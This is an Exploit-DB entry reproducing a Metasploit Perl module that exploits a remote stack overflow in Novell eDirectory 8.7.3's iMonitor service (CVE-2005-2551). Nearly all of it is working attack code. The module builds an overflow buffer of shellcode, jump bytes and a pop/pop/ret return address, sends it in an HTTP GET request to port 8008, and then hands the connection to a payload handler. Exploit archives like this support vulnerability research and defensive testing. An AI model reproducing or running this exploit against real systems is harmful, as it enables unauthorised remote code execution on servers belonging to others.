Exploit-DB #1152
Description: Novell eDirectory 8.7.3 - iMonitor Remote Stack Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2005-08-12
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::edirectory_imonitor;
use strict;
use base "Msf::Exploit";
use Pex::Text;

my $advanced = { };

my $info =
  {
	'Name'    => 'eDirectory 8.7.3 iMonitor Remote Stack Overflow',
	'Version' => '$Revision: 1.2 $',
	'Authors' => [ 'anonymous' ],
	  
	'Arch'  => [ 'x86' ],
	'OS'    => [ 'win32', 'winnt', 'winxp', 'win2k', 'win2003' ],
	'Priv'  => 1,

	'AutoOpts'  =>  { 'EXITFUNC' => 'thread' },

	'UserOpts'  =>
	  {
		'RHOST' => [1, 'ADDR', 'The target address'],
		'RPORT' => [1, 'PORT', 'The target port', 8008 ],
		'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
		'SSL'   => [0, 'BOOL', 'Use SSL'],
	  },

	'Payload' =>
	  {
		'Space'     => 0x1036,
		'BadChars'  => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\$%",
		'Keys' 	    => ['+ws2ord'],
	  },

	'Description'  => Pex::Text::Freeform(qq{
		This module exploits a stack overflow in eDirectory 8.7.3 iMonitor
	service. This vulnerability was discovered by Peter Winter-Smith of 
	NGSSoftware.

}),

	'Refs'  =>
	  [
	  	['OSVDB', '18703'],
		['CVE',   '2005-2551'],
		['BID',   '14548'],
	  ],

	'Targets' =>
	  [
		[ 'Windows (ALL) - eDirectory 8.7.3 iMonitor', 0x63501f15] # pop/pop/ret
	  ],

	'Keys'  => ['imonitor'],
  };

sub new {
	my $class = shift;
	my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
	return($self);
}

sub Exploit {
	my $self        = shift;
	my $target_host = $self->GetVar('RHOST');
	my $target_port = $self->GetVar('RPORT');
	my $target_idx  = $self->GetVar('TARGET');
	my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
	my $target      = $self->Targets->[$target_idx];

	$self->PrintLine( "[*] Attempting to exploit " . $target->[0] );

	my $s = Msf::Socket::Tcp->new(
		'PeerAddr'  => $target_host,
		'PeerPort'  => $target_port,
		'SSL'      => $self->GetVar('SSL'),
	  );

	if ( $s->IsError ) {
		$self->PrintLine( '[*] Error creating socket: ' . $s->GetError );
		return;
	}

	# pop/pop/ret in ndsimon.dlm on our jump to our shellcode
	my $req = $shellcode . "\x90\x90\xeb\x04" . pack('V', $target->[1]) . "\xe9\xbd\xef\xff\xff" . ("B" x 0xD0);
	my $request =
	  "GET /nds/$req HTTP/1.1\r\n".
	  "Accept: */*\r\n".
	  "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
	  "Host: $target_host:$target_port\r\n".
	  "Connection: Close\r\n".
	  "\r\n";

	$s->Send($request);

	$self->PrintLine("[*] Overflow request sent, sleeping for four seconds");
	select(undef, undef, undef, 4);

	$self->Handler($s);
	return;
}

1;

# milw0rm.com [2005-08-12]